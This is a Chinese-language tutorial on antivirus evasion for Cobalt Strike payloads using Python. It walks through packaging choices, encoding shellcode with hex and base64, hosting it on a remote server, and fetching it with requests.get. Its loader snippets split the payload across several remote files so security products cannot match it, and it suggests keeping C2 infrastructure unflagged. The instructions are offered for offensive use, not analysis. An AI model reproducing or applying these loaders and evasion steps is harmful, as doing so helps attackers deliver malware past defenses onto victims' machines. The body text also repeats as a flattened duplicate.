CS免杀-环境补充
字数 1027 2025-08-09 18:44:03

Python免杀技术:环境配置与Shellcode编码拆分方法

环境配置

Python版本要求

  • 使用 Python 2.7 环境
  • 这是许多传统免杀技术的基础环境

打包工具选择

  1. PyInstaller 3.0

    • 安装命令:pip install pyinstaller==3.0
    • 注意:PyInstaller的某些特征已被标记为恶意软件特征
  2. py2exe

    • 可作为PyInstaller的替代方案
    • 由于PyInstaller特征已被标记,建议考虑使用py2exe打包

Shellcode处理技术

Shellcode基本概念

  • Shellcode是一段实现特定恶意功能的机器码
  • 通常转换为16进制形式使用

编码方法

  1. 基础编码流程

    • 生成原始shellcode
    • 进行hex编码
    • 再进行base64编码
    • 将编码结果存放在服务器上的文本文件中(如123.txt)
  2. 加载方法

    scode = requests.get("http://192.168.1.1/123.txt")
    shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
    

免杀关键点

  • 确保使用的IP或URL未被标记为恶意网站或C2服务器
  • 直接访问包含完整shellcode的文件仍有一定风险

高级拆分技术

基本思路

  • 将编码后的shellcode拆分成多个片段
  • 分散存放在服务器不同文件中
  • 单独访问每个片段不会被检测为恶意

实现方法

方法一:base64编码后拆分

  1. 将base64代码分成两段:

    • 存放在1.txt和2.txt
    • 加载时拼接解码:
      scode1 = requests.get("http://192.168.1.1/1.txt")
      scode2 = requests.get("http://192.168.1.1/2.txt")
      shellcode = bytearray(base64.b64decode(scode1.text+scode2.text).decode('hex'))
      
  2. 分成三段base64编码:

    scode1 = requests.get("http://192.168.1.1/1.txt")
    scode2 = requests.get("http://192.168.1.1/2.txt")
    scode3 = requests.get("http://192.168.1.1/3.txt")
    shellcode = bytearray((base64.b64decode(scode1.text)+base64.b64decode(scode2.text)+base64.b64decode(scode3.text)).decode('hex'))
    

方法二:自定义加密

  • 设计自己的加密方式
  • 加密后上传到服务器
  • 加载时逆向解密
  • 关键原则:如何拆分就如何还原

技术优势

  1. 规避检测

    • 杀毒软件无法将所有片段拼合起来检测
    • 单独访问每个片段不会触发警报
  2. 增加分析难度

    • 即使人工溯源也极为困难
    • 需要还原整个拆分和编码逻辑才能识别威胁
  3. 灵活性

    • 可以自由设计拆分和加密方案
    • 可以根据需要增加分段数量

扩展应用

  • 同样的方法可用于加载Python loader
  • 将loader代码拆分后存放在服务器
  • 使用exec()函数执行加载的代码

注意事项

  1. 环境一致性

    • 确保开发环境与目标环境一致
    • Python版本差异可能导致问题
  2. 特征规避

    • 避免使用已被标记的打包工具特征
    • 定期更新技术方案
  3. 服务器安全

    • 确保使用的服务器不被标记为恶意
    • 考虑使用CDN或云存储分散风险

通过以上方法,可以有效提高Python实现的免杀能力,同时增加安全产品的检测难度。关键在于创造性设计拆分和编码方案,使每个组件单独看起来都无害,只有组合起来才具有完整功能。

Python免杀技术:环境配置与Shellcode编码拆分方法 环境配置 Python版本要求 使用 Python 2.7 环境 这是许多传统免杀技术的基础环境 打包工具选择 PyInstaller 3.0 安装命令: pip install pyinstaller==3.0 注意:PyInstaller的某些特征已被标记为恶意软件特征 py2exe 可作为PyInstaller的替代方案 由于PyInstaller特征已被标记,建议考虑使用py2exe打包 Shellcode处理技术 Shellcode基本概念 Shellcode是一段实现特定恶意功能的机器码 通常转换为16进制形式使用 编码方法 基础编码流程 : 生成原始shellcode 进行hex编码 再进行base64编码 将编码结果存放在服务器上的文本文件中(如123.txt) 加载方法 : 免杀关键点 确保使用的IP或URL未被标记为恶意网站或C2服务器 直接访问包含完整shellcode的文件仍有一定风险 高级拆分技术 基本思路 将编码后的shellcode拆分成多个片段 分散存放在服务器不同文件中 单独访问每个片段不会被检测为恶意 实现方法 方法一:base64编码后拆分 将base64代码分成两段: 存放在1.txt和2.txt 加载时拼接解码: 分成三段base64编码: 方法二:自定义加密 设计自己的加密方式 加密后上传到服务器 加载时逆向解密 关键原则:如何拆分就如何还原 技术优势 规避检测 : 杀毒软件无法将所有片段拼合起来检测 单独访问每个片段不会触发警报 增加分析难度 : 即使人工溯源也极为困难 需要还原整个拆分和编码逻辑才能识别威胁 灵活性 : 可以自由设计拆分和加密方案 可以根据需要增加分段数量 扩展应用 同样的方法可用于加载Python loader 将loader代码拆分后存放在服务器 使用 exec() 函数执行加载的代码 注意事项 环境一致性 : 确保开发环境与目标环境一致 Python版本差异可能导致问题 特征规避 : 避免使用已被标记的打包工具特征 定期更新技术方案 服务器安全 : 确保使用的服务器不被标记为恶意 考虑使用CDN或云存储分散风险 通过以上方法,可以有效提高Python实现的免杀能力,同时增加安全产品的检测难度。关键在于创造性设计拆分和编码方案,使每个组件单独看起来都无害,只有组合起来才具有完整功能。